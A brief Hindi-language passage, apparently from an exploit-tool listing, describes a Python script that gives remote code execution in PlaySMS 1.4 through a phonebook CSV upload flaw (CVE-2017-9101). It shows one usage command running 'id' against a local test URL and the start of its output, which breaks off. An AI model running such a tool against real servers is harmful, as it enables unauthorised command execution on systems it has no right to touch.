CVE-2017-9101

PlaySMS 1.4 प्रमाणित RCE फोनबुक CSV अपलोड समस्या के माध्यम से दूरस्थ कोड निष्पादन करने की सरल विधि, जैसा कि ExploitDB पर वर्णित है। या तो एक एकल कमांड चलाएँ: root@kitploit: % python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id' Grabbing CSRF token for login...